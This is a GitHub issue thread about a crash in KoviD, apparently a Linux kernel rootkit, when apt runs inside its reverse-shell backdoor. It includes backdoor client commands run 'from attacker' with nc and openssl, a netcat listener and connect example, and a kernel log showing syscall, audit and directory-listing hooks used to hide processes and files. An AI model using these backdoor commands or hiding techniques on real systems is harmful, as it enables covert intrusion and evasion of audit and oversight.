Closed iusearch closed 1 year ago
Hi @iusearch thanks for the detailed investigation you did there, I appreciate.
I don't have Ubuntu 20.04 at hand (I don't recall testing kv on that particular linux version) but if you run nc
client and server and try to run same apt command, will it work? For me it doesn't, command hung there and package can't install.
kv doesn't implement itself backdoors, it uses network tools available on the machine (nc, openssl, socat) and inherits their limitations.
I testes on ubuntu 18.04 and I dont't get a crash, but it doesn't work either because nc/openssl/socat don't don't either, even in isolated form.
Sorry don't quite understand that. Do you mean nc -e to pop a reverse shell to the host?
Sorry don't quite understand that. Do you mean nc -e to pop a reverse shell to the host?
yes, example:
server: nc -lnv 9999 client: nc "ip" 9999
nc/socat/openssl don't offer rich terminal, and apt commands require a lot of interactive shell back-and-fourths. The crash may or may not be related to that , not sure what apt does under the carpet but that could be messing with a weakness withing kv about these backdoors, but they would not work as intended anyway (my guess) even in standalone mode, for these complicate shell interactions.
No, it can't do that from my side either. I remember apt has multiple backend which can dealt with non tty console though IMO it should not cause a kernel dump. I will try find what's causing the problem
You are right, it should not cause a kernel crash, but it is not crashing in the version I have just tried, but as soon as I manage to load a 22.04 I will check that, and yes, the crash is during hide/unhide stuff, that is possibly quite messy coming from apt.
In the meantime, if you manage to do more tests, please share results here that could be helpful, thank you
Ya weirdly it does not crash on 22.04 but do crash on 20.04. To be more specifically Ubuntu 20.04.6 LTS
, kernel 5.4.0-164-generic #181-Ubuntu SMP
. I will try using 22.04 kernel on 20.04 base image.
19.473319] kovid: module verification failed: signature and/or required key missing - tainting kernel [ 19.497545] kv: using kprobe for kallsyms_lookup_name [ 19.521926] invalid data: bpf_map_get will not work
Notice the first lines from your log:
19.473319] kovid: module verification failed: signature and/or required key missing - tainting kernel [ 19.497545] kv: using kprobe for kallsyms_lookup_name [ 19.521926] invalid data: bpf_map_get will not work
These messages indicate that hide/unhide is broken and incompatible with that kernel/linux version or setup. I would expect that other things will eventually fail. Any warnings when you compile the code?
Interesting. I guess I'm not compatible enough to fix that myself. Hope you can find the root cause for that. Thanks.
Interesting. I guess I'm not compatible enough to fix that myself. Hope you can find the root cause for that. Thanks.
I guess I have just found it. The warning 19.521926] invalid data: bpf_map_get will not work
is real, look:
In 5.4 this kernel function does not exist or exists with a different name: https://elixir.bootlin.com/linux/v5.4.8/A/ident/bpf_map_get
Now, check 5.8 for instance, it is present: https://elixir.bootlin.com/linux/v5.8/source/include/linux/bpf.h#L1076
So, long story short, it is not yet a bug, you are running kv against a kernel whereas it was not ported for and therefore we should not expect it to work anyway. If I port it to your kernel, I will let you know here ok?
Unfortunately, that's not the end of story. I upgraded the kernel on 20.04 to 5.15, with the following
[ 651.663595] kovid: module verification failed: signature and/or required key missing - tainting kernel
[ 651.692163] kv: using kprobe for kallsyms_lookup_name
[ 651.714282] add sysaddr: ffffffffb72da750
[ 651.714290] addname '.VAPMKA' ro=1
[ 651.714295] new var, filename: '/var/.VAPMKA'
[ 651.714296] Installing: 'sys_exit_group' syscall=1
[ 651.734174] add sysaddr: ffffffffb72c38c0
[ 651.735601] Installing: 'sys_clone' syscall=1
[ 651.755013] add sysaddr: ffffffffb72bc670
[ 651.756252] Installing: 'sys_kill' syscall=1
[ 651.776053] add sysaddr: ffffffffb72d29c0
[ 651.777236] Installing: 'sys_bpf' syscall=1
[ 651.798150] add sysaddr: ffffffffb7446530
[ 651.799547] Installing: 'tcp4_seq_show' syscall=0
[ 651.807208] Installing: 'udp4_seq_show' syscall=0
[ 651.814962] Installing: 'tcp6_seq_show' syscall=0
[ 651.823055] Installing: 'udp6_seq_show' syscall=0
[ 651.830900] Installing: 'packet_rcv' syscall=0
[ 651.839003] Installing: 'tpacket_rcv' syscall=0
[ 651.847122] Installing: 'account_process_tick' syscall=0
[ 651.849088] Installing: 'account_system_time' syscall=0
[ 651.850870] Installing: 'audit_log_start' syscall=0
[ 651.853140] Installing: 'filldir' syscall=0
[ 651.856423] Installing: 'filldir64' syscall=0
[ 651.859644] Installing: 'tty_read' syscall=0
[ 651.865154] ftrace hook 0 on sys_exit_group
[ 651.865155] ftrace hook 1 on sys_clone
[ 651.865156] ftrace hook 2 on sys_kill
[ 651.865157] ftrace hook 3 on sys_bpf
[ 651.865158] ftrace hook 4 on tcp4_seq_show
[ 651.865158] ftrace hook 5 on udp4_seq_show
[ 651.865159] ftrace hook 6 on tcp6_seq_show
[ 651.865160] ftrace hook 7 on udp6_seq_show
[ 651.865161] ftrace hook 8 on packet_rcv
[ 651.865170] ftrace hook 9 on tpacket_rcv
[ 651.865170] ftrace hook 10 on account_process_tick
[ 651.865171] ftrace hook 11 on account_system_time
[ 651.865172] ftrace hook 12 on audit_log_start
[ 651.865173] ftrace hook 13 on filldir
[ 651.865173] ftrace hook 14 on filldir64
[ 651.865174] ftrace hook 15 on tty_read
[ 651.865759] Waiting for event
[ 651.866125] hide [000000000fcfe607] irq/102_pciehp : 2657
[ 651.866215] hide [0000000049afc3dc] irq/101_pciehp : 2656
[ 651.866229] hide [00000000e800d72c] irq/100_pciehp : 2655
[ 651.866232] addname '.kovid' ro=1
[ 651.866236] addname 'kovid' ro=1
[ 651.866237] addname '.kv.ko' ro=1
[ 651.866239] addname '.lm.sh' ro=1
[ 651.866240] addname '.sshd_orig' ro=1
[ 651.866241] addname 'whitenose' ro=1
[ 651.866247] addname 'pinknose' ro=1
[ 651.866248] addname 'rednose' ro=1
[ 651.866249] addname 'greynose' ro=1
[ 651.866249] addname 'purplenose' ro=1
[ 651.866250] addname 'blacknose' ro=1
[ 651.866251] addname 'bluenose' ro=1
[ 651.866294] kovid loaded.
so it did find the symbol, but still crash on that
I see, yeah I will do some tests as soon as I can with these kernels, thank you.
One more hint. Just found out dpkg -i
downloaded the same package does not trigger it.
One more hint. Just found out
dpkg -i
downloaded the same package does not trigger it.
hmm "dpkg -i" is not interactive, is it?
I believe not. I'm trying to get strace to see which syscall actually killed it. Thou openssl is also broken on 20.04.
$ sudo ./bdclient.sh openssl 192.168.122.94 12345 130 ↵
Using default temp BA parameters
ACCEPT
ERROR
4057738E077F0000:error:0A00010B:SSL routines:ssl3_get_record:wrong version number:ssl/record/ssl3_record.c:358:
shutting down SSL
CONNECTION CLOSED
I believe not. I'm trying to get strace to see which syscall actually killed it. Thou openssl is also broken on 20.04.
$ sudo ./bdclient.sh openssl 192.168.122.94 12345 130 ↵ Using default temp BA parameters ACCEPT ERROR 4057738E077F0000:error:0A00010B:SSL routines:ssl3_get_record:wrong version number:ssl/record/ssl3_record.c:358: shutting down SSL CONNECTION CLOSED
yeah, openssl is a pain in the ass https://github.com/carloslack/KoviD/issues/20
Closing this because it is not considered an issue if kernel is unsupported. Opened this one instead: https://github.com/carloslack/KoviD/issues/72
Describe the bug Crashing with the following dmesg
To Reproduce Steps to reproduce the behavior:
sudo ./bdclient.sh nc 192.168.x.x xxxxx
from attackerapt install python3
in the reverse shell termina;Additional context When checking with crash, a warning is shown
Suspect to be something related to task hidden. With latest commit from master.